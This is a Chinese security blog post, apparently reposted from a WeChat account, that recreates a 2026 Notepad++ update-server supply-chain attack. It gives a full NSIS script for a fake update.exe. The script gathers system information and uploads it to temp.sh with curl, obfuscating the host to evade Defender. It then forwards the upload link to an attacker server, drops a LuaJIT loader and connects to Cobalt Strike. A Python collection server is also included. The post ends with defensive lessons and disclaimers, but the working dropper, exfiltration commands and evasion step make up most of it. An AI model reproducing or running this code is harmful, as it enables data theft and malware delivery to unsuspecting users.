notepad++供应链攻击手法复现

admin 2026-08-03 04:54:27 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文复现了2026年Notepad++供应链攻击手法,通过NSIS制作恶意update.exe安装包,执行后创建目录、收集系统信息并上传至temp.sh,再通过User-Agent将返回地址发送至攻击者服务器,最终释放Lua加载器连接CobaltStrike。文章强调更新服务应使用HTTPS、警惕exe释放器,并建议加速EDR普及以应对AI加速恶意代码形成的挑战。 综合评分: 98 文章分类: 供应链安全,红队,渗透测试,恶意软件,实战经验


cover_image

notepad++供应链攻击手法复现

原创

陆安予 陆安予

白帽子安全笔记2.0

2026年7月28日 23:14 江苏

在小说阅读器读本章

去阅读

一、这是什么?

2026年2月,Notepad的更新服务器被恶意攻击者控制,导致下发恶意软件。整体来说不难,现在我们复现这里面的操作。

本文所涉及到的资源如下:

  • • 1.server.py #负责接收收集的数据
  • • 2.nsis-3.12-setup.exe #NSI编译工具
  • • 3.NSI脚本 #执行逻辑
  • • 4.LUA加载器
  • • 5.Cobalt Strike

二、技术复现

1.NSIS安装包

首先是恶意的update.exe,这是一个像msi的安装包,由NSIS编译而来,那么接下来安装NSIS编译环境。这里下载到nsis-3.12-setup.exe版本并安装。

NSIS

接下来新建一个记事本,后缀改为.nsi,命名为update.nsi,我们要使用NSIS编译它(在上述界面的第一个选项),接下来实现这个攻击脚本的核心逻辑。

2.NSI脚本实现

根据大量分析资料,整个逻辑如下:

1.创建目录%appdata%\ProShow,并将它设置为当前工作目录。那么就是如下命令:

SetShellVarContext current
CreateDirectory "$APPDATA\ProShow"
SetOutPath "$APPDATA\ProShow"

2.执行下述命令获取系统信息保存为1.txt。注意部分文章描述错误,两个>才能代表追加。

nsExec::Exec 'cmd /c cd /d "$APPDATA\ProShow" && whoami && tasklist >> "1.txt"'

3.将1.txt上传到匿名托管平台temp.sh,那么就是这段代码。

nsExec::ExecToStack 'cmd /c cd /d "$APPDATA\ProShow" && curl -F "[email protected]" -s https://temp.sh/upload'

这里需要注意,由于这个特征已被Defender记录,现在我们变形下如下:

StrCpy $2 "temp.sh"
nsExec::ExecToStack 'cmd /c cd /d "$APPDATA\ProShow" && curl -F "[email protected]" -s https://$2/upload'

4.最后将temp.sh返回的地址作为User-Agent,发送HTTP请求到攻击者控制的服务器。

这里我们需要两步,第一步实现这个操作,第二步还需要做一个接收的环境。

nsExec::Exec 'cmd /c cd /d "$APPDATA\ProShow" && curl --user-agent "$1" -s http://192.168.136.1/list'

做一个接收服务,我将使用python实现这一点,它将负责将接收的信息存储到本地。

#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler
import datetime

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/list':
            ua = self.headers.get('User-Agent', '')
            ts = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S.%f")[:-3]

            client_ip = self.client_address[0]

            with open("log.txt", "a") as f:
                f.write(f"[{ts}] IP: {client_ip} | UA: {ua}\n")

            print(f"[{ts}] Received from {client_ip}: {ua}")
        self.send_response(200)
        self.end_headers()

if __name__ == '__main__':
    print("Server running on http://0.0.0.0:80")
    HTTPServer(('0.0.0.0', 80), Handler).serve_forever()

开启接收服务

5.后来攻击者释放的实际是lua加载器来加载shellcode,这里我们使用lua。

经过反复打磨,最后完整NSI代码如下:

Name "Update"
OutFile "update.exe"
RequestExecutionLevel user

Section
    SetShellVarContext current
    CreateDirectory "$APPDATA\ProShow"
    SetOutPath "$APPDATA\ProShow"
    Sleep 1000
    nsExec::Exec 'cmd /c cd /d "$APPDATA\ProShow" && whoami && tasklist >> "1.txt"'
    Sleep 1000
    StrCpy $2 "temp.sh"
    nsExec::ExecToStack 'cmd /c cd /d "$APPDATA\ProShow" && curl -F "[email protected]" -s https://$2/upload'
    Pop $0
    Pop $1

    Sleep 1000
    nsExec::Exec 'cmd /c cd /d "$APPDATA\ProShow" && curl --user-agent "$1" -s http://192.168.136.1/list'

    Sleep 1000
    File "luajit.exe"
    File "lua51.dll"
    File "a.txt"

    ExecShell "" "$APPDATA\ProShow\luajit.exe" "$APPDATA\ProShow\a.txt"
SectionEnd

6.最后使用NSIS工具编译这个NSI脚本,它将自动打包lua套件,生成exe程序(见桌面update.exe)。

编译NSI

3.运行exe程序

运行update.exe程序

运行update.msi设置当前用户上下文创建目录 “$APPDATA\ProShow”工作目录 “$APPDATA\ProShow”获取系统信息 whoami && tasklist >> “1.txt”上传至temp 执行 curl -F “[email protected]” -s https://temp.sh/upload获取返回的URL并存入 $1发送到服务器 执行 curl –user-agent “$1” -s http://192.168.136.1/list释放 luajit.exe释放 lua51.dll释放 a.txt执行 luajit.exe a.txt连接 Cobalt Strike开始执行过程

而我们的server也接收到了数据并存储为log:

<<< 左右滑动看更多 >>>

通过useragent传递收集的系统信息

Cobalt Strike

三、总结

1.exe运行一定要小心,制作一个exe释放器极其简单。 2.更新服务一定不能使用HTTP,流量极其容易被中间人劫持从而导致供应链攻击。 3.AI是把双刃剑,加速了恶意代码的形成,防守难度显著提高。应加速EDR的普及,而不是传统杀毒软件。

四、免责声明

本文涉及方案仅限合法授权的安全研究、渗透测试用途,使用者须确保符合《网络安全法》及相关法规。具体条款如下:

1.仅可用于已获得书面授权的目标系统测试; 2.遵守法律法规,不得用于侵犯他人隐私或数据窃取;

本人不承担因用户滥用本软件导致的任何后果。使用即视为同意并接受上述条款。



免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:白帽子安全笔记2.0 陆安予 陆安予《notepad++供应链攻击手法复现》

自动化渗透测试与AI红队 网络安全文章

自动化渗透测试与AI红队

文章总结: 本文档系统梳理了授权渗透测试方法论、AI辅助安全评估框架、红蓝对抗体系建设与蓝队自动化响应技术。核心结论是渗透测试必须基于明确书面授权,AI可提升测
评论:0   参与:  0